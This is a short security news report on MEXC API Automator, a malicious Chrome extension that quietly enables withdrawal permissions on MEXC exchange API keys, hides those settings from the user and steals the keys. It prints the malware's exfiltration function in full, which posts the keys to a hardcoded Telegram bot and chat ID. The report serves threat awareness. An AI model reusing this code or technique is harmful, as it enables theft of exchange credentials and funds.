Malicious Chrome Extension Steals Wallet Login Credentials and Enables Automated Trading

A Chrome extension named MEXC API Automator has been identified as malicious, exploiting browser trust to access cryptocurrency trading accounts on the MEXC platform.

The extension masquerades as a tool for automating trading and API key creation. It covertly takes control of newly created API keys, facilitating unauthorized account access.

The attack originates from a legitimate-seeming Chrome Web Store listing. It claims to offer easy API key creation, including trading and withdrawal access for the MEXC exchange.

Once installed, the extension activates upon accessing MEXC's API management page, where users typically create keys for automated trading. It can silently create keys, initiate trades, and enable withdrawals.

Researchers at Socket.dev have classified the extension as malware, linking it to a threat actor known as jorjortan142. The extension operates within an already logged-in MEXC session, bypassing traditional password theft.

The extension targets MEXC API keys, allowing both trading and withdrawals without requiring password access. These keys are often reused in automated scripts and are less frequently monitored than interactive logins.

Upon key creation, the extension captures the keys and transmits them to a Telegram infrastructure controlled by attackers.

The MEXC API Automator, a Manifest V3 Chrome extension, injects a content script into the MEXC API management page. It automatically selects all permission options, including withdrawals, and manipulates the page to hide these settings visually from the user.

The extension collects the Access Key and Secret Key upon creation and sends them to a predefined Telegram bot and chat ID.

function sendKeysToTelegram(apiKey, secretKey) { const botToken = '7534112291:AAF46jJWWo95XsRWkzcPevHW7XNo6cqKG9I'; const chatId = '6526634583'; fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ chat_id: chatId, text: `API Key: ${apiKey}\nSecret Key: ${secretKey}` }) }); }

The extension's activity blends into regular web traffic by operating within the browser sandbox, reading page content, and using HTTPS for data transmission. This delay in detection allows attackers to use the stolen keys for unauthorized transactions.

Based on reporting by Cyber Security News.